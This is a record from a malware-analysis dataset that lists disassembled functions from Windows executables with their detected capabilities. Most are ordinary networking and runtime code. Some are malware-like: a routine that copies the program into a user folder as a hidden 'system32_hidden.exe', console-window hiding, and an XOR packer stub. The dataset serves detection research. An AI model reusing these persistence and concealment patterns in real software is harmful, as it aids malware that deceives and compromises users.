joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ea914
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x6274d0]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ecx
cmp dword [0x62ff08], ebx
jne 0x4ea96f
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4ea955
xor al, al
jmp 0x4ea977
cmp byte [esp + 0x10], 2
jne 0x4ea967
mov eax, dword [esp + 0x10]
shr eax, 8
cmp al, 2
je 0x4ea96f
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x4ea951
inc dword [0x62ff08]
mov al, 1
mov byte [esi + 0x1c], al
cmp al, bl
jne 0x4ea993
xor ecx, ecx
push 0x5f8a10
inc ecx
call fcn.0047c666
pop ecx
push 0xffffffffffffffff
call fcn.0056a5fe
or dword [esi + 0x64], 0xffffffff
push 0x10
lea edi, [esi + 0x20]
push ebx
push edi
mov byte [esi + 0x1d], bl
mov dword [esi + 8], ebx
call fcn.00560d40
add esp, 0xc
push 2
pop eax
mov word [edi], ax
mov dword [esi + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x10
mov dword [esi + 0x6c], eax
push ebx
add esi, 0x30
push esi
call fcn.00560d40
mov ecx, dword [esp + 0x1b0]
add esp, 0xc
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055d7fe
mov esp, ebp
pop ebp
ret

Function at 0x4eabd0
Capabilities:
Get local ipv4 addresses
Get socket information
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x6274d0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebx + 0x64], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
jne 0x4eac0d
mov eax, dword [ebx + 0x5c]
mov ecx, eax
xor edx, edx
dec ecx
je 0x4eabfd
dec ecx
jne 0x4eac00
push 0x11
jmp 0x4eabff
push 6
pop edx
push edx
push eax
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x64], eax
mov eax, dword [ebx + 0x64]
cmp eax, 0xffffffff
jne 0x4eac1c
xor al, al
jmp 0x4eaca1
cmp byte [ebx + 0x68], 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
je 0x4eac4f
push 1
lea ecx, [ebp - 0x15]
push ecx
push 4
push 0xffff
push eax
mov byte [ebx + 0x68], 1
mov byte [ebp - 0x15], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x4eac4f
call edi
mov dword [ebx + 0x60], eax
push esi
push 0x10
pop esi
push esi
push dword [ebp - 0x1c]
push dword [ebx + 0x64]
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x4eac6c
call edi
mov dword [ebx + 0x60], eax
jmp 0x4eac85
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebx + 0x64]
mov dword [ebp - 0x20], esi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x4eac89
xor al, al
jmp 0x4eac9f
cmp dword [ebx + 0x5c], 2
lea edi, [ebx + 0x20]
lea esi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jne 0x4eac9d
mov byte [ebx + 0x1d], 1
mov al, 1
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0055d7fe
leave
ret 4
Function at 0x4eacaf
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push 0xe8
mov eax, 0x5a0184
call fcn.0056ce95
mov esi, ecx
cmp byte [esi + 0x1c], 0
mov edi, edx
jne 0x4eaccf
xor al, al
jmp 0x4eade0
cmp dword [esi + 0x64], 0xffffffff
jne 0x4eace4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x64], eax
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4ead9d
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4ead96
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.0047758b
pop ecx
pop ecx
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 0xf4]
push eax
call fcn.00409ac6
mov esi, eax
push str.updtSocket::Connect:_Unknown_hostname_
push esi
mov byte [ebp - 4], 1
call fcn.0040fa1f
push esi
mov ecx, edi
call fcn.0040fbd3
add esp, 0xc
push 0x27
push esi
call fcn.004101f8
pop ecx
pop ecx
lea eax, [ebp - 0x40]
push eax
mov eax, esi
call fcn.00409b30
mov byte [ebp - 4], 2
cmp dword [ebp - 0x2c], 8
mov eax, dword [ebp - 0x40]
jae 0x4ead62
lea eax, [ebp - 0x40]
push eax
push 2
pop ecx
call fcn.0047c666
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x40]
call fcn.0040b028
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0
call fcn.004021a3
push 1
lea esi, [ebp - 0x5c]
call fcn.0040b028
jmp 0x4eacc8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
pop ecx
push dword [ebp + 8]
mov word [ebp - 0x24], cx
mov dword [ebp - 0x20], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
push 0x10
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x64]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4eadda
push dword [esi + 0x64]
call dword [sym.imp.WS2_32.dll_closesocket]
or dword [esi + 0x64], 0xffffffff
jmp 0x4eacc8
mov byte [esi + 0x1d], 1
mov al, 1
call fcn.0056cf18
ret 4

Function at 0x4eae80
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x6274d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [edi + 0x64]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x208], eax
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x3e8
idiv ecx
push ebx
push esi
xor esi, esi
inc esi
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x20c], esi
imul edx, edx, 0x3e8
mov dword [ebp - 0x214], eax
xor eax, eax
mov dword [ebp - 0x210], edx
cmp byte [ebp + 8], bl
je 0x4eaee3
lea ecx, [ebp - 0x108]
jmp 0x4eaee9
lea eax, [ebp - 0x108]
cmp dword [ebp + 0xc], ebx
jl 0x4eaef6
lea edx, [ebp - 0x214]
jmp 0x4eaef8
xor edx, edx
push edx
lea edx, [ebp - 0x20c]
push edx
push ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, ebx
jne 0x4eaf11
xor eax, eax
jmp 0x4eaf43
cmp eax, 0xffffffff
jne 0x4eaf1b
or eax, 0xffffffff
jmp 0x4eaf43
mov ebx, dword [sym.imp.WS2_32.dll___WSAFDIsSet]
lea eax, [ebp - 0x20c]
push eax
push dword [edi + 0x64]
call ebx
test eax, eax
je 0x4eaf41
lea eax, [ebp - 0x108]
push eax
push dword [edi + 0x64]
call ebx
test eax, eax
je 0x4eaf16
mov eax, esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0055d7fe
leave
ret 8
Function at 0x4eaf53
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 8], 0
push ebx
push esi
push edi
lea esi, [ebp - 0x18]
mov edi, eax
call fcn.00482203
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov byte [ebp - 1], 1
jmp 0x4eafe0
jle 0x4eaf83
add dword [ebp - 8], eax
sub dword [ebp + 0xc], eax
add dword [ebp + 8], eax
jmp 0x4eaf90
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x4eaffb
cmp dword [ebp + 0xc], 0
je 0x4eaff1
cmp byte [ebp - 1], 0
mov ecx, dword [ebp + 0x10]
jne 0x4eafce
test ecx, ecx
js 0x4eafce
lea esi, [ebp - 0x10]
call fcn.00482203
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
sbb ecx, dword [ebp - 0x14]
push 0
push 0x2710
push ecx
push eax
call fcn.0057a1b0
mov ecx, dword [ebp + 0x10]
sub ecx, eax
test ecx, ecx
jle 0x4eaff1
push ecx
push 1
call fcn.004eae80
mov byte [ebp - 1], 0
test eax, eax
js 0x4eaffb
je 0x4eaff1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x64]
call ebx
test eax, eax
jne 0x4eaf76
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 0xc
or eax, 0xffffffff
jmp 0x4eaff4

Function at 0x55d7fe
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6274d0]
jne 0x55d808
repz ret
jmp fcn.0056441b
Function at 0x575ec1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6274d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00564f3e
and dword [ebp - 0x14], 0
cmp dword [0x62fadc], 0
mov dword [ebp - 0x18], eax
jne 0x575f74
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x57601c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x57601c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x62fadc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x62fae0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x62fae4], eax
call edi
push eax
call esi
mov dword [0x62faec], eax
test eax, eax
je 0x575f74
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x62fae8], eax
mov eax, dword [0x62fae8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x575fcd
cmp dword [0x62faec], ecx
je 0x575fcd
push eax
call esi
push dword [0x62faec]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x575fcd
test ebx, ebx
je 0x575fcd
call edi
test eax, eax
je 0x575fc4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x575fc4
test byte [ebp - 8], 1
jne 0x575fcd
or dword [ebp + 0x10], 0x200000
jmp 0x576000
mov eax, dword [0x62fae0]
cmp eax, dword [ebp - 0x18]
je 0x576000
push eax
call esi
test eax, eax
je 0x576000
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x576000
mov eax, dword [0x62fae4]
cmp eax, dword [ebp - 0x18]
je 0x576000
push eax
call esi
test eax, eax
je 0x576000
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x62fadc]
call esi
test eax, eax
je 0x57601c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x57601e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055d7fe
leave
ret

Function at 0x57ed70
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x57ed96
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x57ed80
ret
Function at 0x591060
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x591092
lea esp, [esp]
test cl, 3
je 0x591092
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x5bec50]
add ecx, 1
sub esi, 1
jne 0x591070
cmp esi, 0x20
push ebx
push edi
jb 0x59127c
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x5bf050]
xor edx, dword [ebx*4 + 0x5bf450]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x5bec50]
add ecx, 4
xor edx, dword [eax*4 + 0x5bf850]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x5bf050]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x5bf450]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x5bec50]
add ecx, 4
xor eax, dword [edx*4 + 0x5bf850]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x5bf050]
xor edx, dword [ebx*4 + 0x5bf450]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x5bec50]
xor edx, dword [eax*4 + 0x5bf850]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x5bf050]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x5bf450]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x5bec50]
xor eax, dword [edx*4 + 0x5bf850]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x5bf050]
xor edx, dword [ebx*4 + 0x5bf450]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x5bec50]
xor edx, dword [eax*4 + 0x5bf850]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x5bf050]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x5bf450]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x5bec50]
and edx, 0xff
xor eax, dword [edx*4 + 0x5bf850]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x5bf050]
xor edx, dword [ebx*4 + 0x5bf450]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x5bec50]
add ecx, 4
xor edx, dword [eax*4 + 0x5bf850]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x5bf050]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x5bf450]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x5bec50]
and edx, 0xff
xor eax, dword [edx*4 + 0x5bf850]
sub edi, 1
jne 0x5910a2
cmp esi, 4
jb 0x5912c9
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x5bf050]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x5bf450]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x5bec50]
and eax, 0xff
xor edi, dword [eax*4 + 0x5bf850]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x591286
test esi, esi
pop edi
pop ebx
je 0x5912ed
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x5bec50]
add ecx, 1
sub esi, 1
jne 0x5912d0
not eax
pop esi
ret
Function at 0x591720
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [edi + 0x2c]
push ebp
push esi
mov ebp, dword [edi + 0x3c]
sub ebp, dword [edi + 0x74]
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x2c]
lea edx, [ebx + ecx - 0x106]
sub ebp, eax
cmp eax, edx
jb 0x59179e
mov eax, dword [edi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.00560920
mov edx, dword [edi + 0x4c]
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
add esp, 0xc
sub dword [edi + 0x5c], ebx
lea ecx, [eax + edx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebx
jb 0x591771
sub eax, ebx
jmp 0x591773
xor eax, eax
sub edx, 1
mov word [ecx], ax
jne 0x591762
mov ecx, dword [edi + 0x40]
mov edx, ebx
lea ecx, [ecx + ebx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebx
jb 0x591792
sub eax, ebx
jmp 0x591794
xor eax, eax
sub edx, 1
mov word [ecx], ax
jne 0x591783
add ebp, ebx
mov esi, dword [edi]
cmp dword [esi + 4], 0
je 0x591872
mov edx, dword [edi + 0x74]
add edx, dword [edi + 0x6c]
mov ecx, ebp
add edx, dword [edi + 0x38]
push edx
call fcn.005914a0
add dword [edi + 0x74], eax
mov edx, dword [edi + 0x74]
add esp, 4
cmp edx, 3
jb 0x5917e9
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x38]
lea esi, [eax + ecx]
movzx eax, byte [esi]
mov ecx, dword [edi + 0x58]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [edi + 0x54]
mov dword [edi + 0x48], eax
cmp edx, 0x106
jae 0x5917fd
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x591726
mov eax, dword [edi + 0x16c0]
mov ecx, dword [edi + 0x3c]
cmp eax, ecx
jae 0x591872
mov esi, dword [edi + 0x6c]
add esi, edx
cmp eax, esi
jae 0x591841
sub ecx, esi
mov ebx, ecx
cmp ebx, 0x102
jbe 0x591824
mov ebx, 0x102
mov ecx, dword [edi + 0x38]
push ebx
add ecx, esi
push 0
push ecx
call fcn.00560d40
add esp, 0xc
add ebx, esi
pop esi
pop ebp
mov dword [edi + 0x16c0], ebx
pop ebx
ret
lea edx, [esi + 0x102]
cmp eax, edx
jae 0x591872
sub esi, eax
add esi, 0x102
sub ecx, eax
cmp esi, ecx
jbe 0x59185b
mov esi, ecx
mov ecx, dword [edi + 0x38]
push esi
add ecx, eax
push 0
push ecx
call fcn.00560d40
add esp, 0xc
add dword [edi + 0x16c0], esi
pop esi
pop ebp
pop ebx
ret
Function at 0x401460
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 8]
test eax, eax
lea ecx, [ebx + eax]
je 0x401505
mov edx, ebx
lea eax, [ebx + 1]
sub edx, ecx
not edx
xor byte [eax - 1], 0x42
and edx, 7
cmp ecx, eax
je 0x401505
test edx, edx
je 0x4014df
cmp edx, 1
je 0x4014d4
cmp edx, 2
je 0x4014cd
cmp edx, 3
je 0x4014c6
cmp edx, 4
je 0x4014bf
cmp edx, 5
je 0x4014b8
cmp edx, 6
je 0x4014b1
lea eax, [ebx + 2]
xor byte [eax - 1], 0x42
add eax, 1
xor byte [eax - 1], 0x42
add eax, 1
xor byte [eax - 1], 0x42
add eax, 1
xor byte [eax - 1], 0x42
add eax, 1
xor byte [eax - 1], 0x42
add eax, 1
xor byte [eax - 1], 0x42
add eax, 1
xor byte [eax - 1], 0x42
cmp ecx, eax
je 0x401505
xor byte [eax], 0x42
xor byte [eax + 1], 0x42
xor byte [eax + 2], 0x42
xor byte [eax + 3], 0x42
xor byte [eax + 4], 0x42
xor byte [eax + 5], 0x42
xor byte [eax + 6], 0x42
add eax, 8
xor byte [eax - 1], 0x42
cmp ecx, eax
jne 0x4014df
pop ebx
ret

Function at 0x401510
Capabilities:
Get common file path

Disassembly:
push esi
push ebx
sub esp, 0x134
lea ebx, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
mov dword [esp + 0x10], ebx
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
test eax, eax
js 0x4015de
mov edx, ebx
mov eax, dword [edx]
add edx, 4
lea ecx, [eax - 0x1010101]
andn eax, eax, ecx
mov esi, eax
and esi, 0x80808080
je 0x401551
mov ecx, esi
shr ecx, 0x10
test eax, 0x8080
lea eax, [edx + 2]
cmovne ecx, esi
cmovne eax, edx
mov edx, ecx
add dl, cl
sbb eax, 3
mov dword [eax], 0x7379735c
mov dword [eax + 4], 0x336d6574
mov dword [eax + 8], 0x69685f32
mov dword [eax + 0xc], 0x6e656464
mov dword [eax + 0x10], 0x6578652e
mov byte [eax + 0x14], 0
call sub.msvcrt.dll___p___argv
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov esi, dword [eax]
mov ecx, dword [esi]
mov dword [esp], ecx
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
mov dword [esp + 4], 2
mov dword [esp], ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
add esp, 0x134
pop ebx
pop esi
ret

Function at 0x4015f0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x1c
call sub.KERNEL32.dll_GetConsoleWindow
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
add esp, 0x1c
ret
Function at 0x401c90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401cdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401cd4
test esi, esi
je 0x401cd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401cb0
mov dword [esp], 0x407044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401ec0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401fe8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f4e
cmp eax, 4
jne 0x401f70
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401f5e
cmp edx, 4
je 0x401f5e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401ec0
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
nop
mov ecx, 0x58af4ca8
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x63292cc7
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x421810
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42183d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42183d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4013f5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esp
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
mov ax, word [esp + 2]
mov dword [0x404590], eax
xor eax, eax
mov edi, eax
mov dword [ebp - 0x4c], 0x30
mov eax, dword [ebp + 8]
call fcn.004013ed
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], 0x401306
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], str.Jungo
mov dword [ebp - 0x20], eax
call fcn.004013ea
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
test eax, eax
je 0x4014d5
mov eax, 0x80000000
push edi
push dword [ebp - 0x38]
push edi
push edi
push eax
push eax
push eax
push eax
push 0
push str.180000
push str.Jungo
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push eax
mov dword [0x404588], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x404588]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x4014d5
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x4014ba
mov esp, ebp
pop ebp
ret

Function at 0x401f98
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401fc1
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401fb9
cmp al, 0x22
jne 0x401fad
cmp byte [esi], 0x22
jne 0x401fcb
inc esi
jmp 0x401fcb
cmp al, 0x20
jle 0x401fcb
inc esi
cmp byte [esi], 0x20
jg 0x401fc5
mov al, byte [esi]
test al, al
je 0x401fd5
cmp al, 0x20
jle 0x401fbe
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00402045
push 0x404004
push section..data
call fcn.0040202b
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x402005
movzx eax, word [ebp - 0x14]
jmp 0x402008
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.0040205d
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]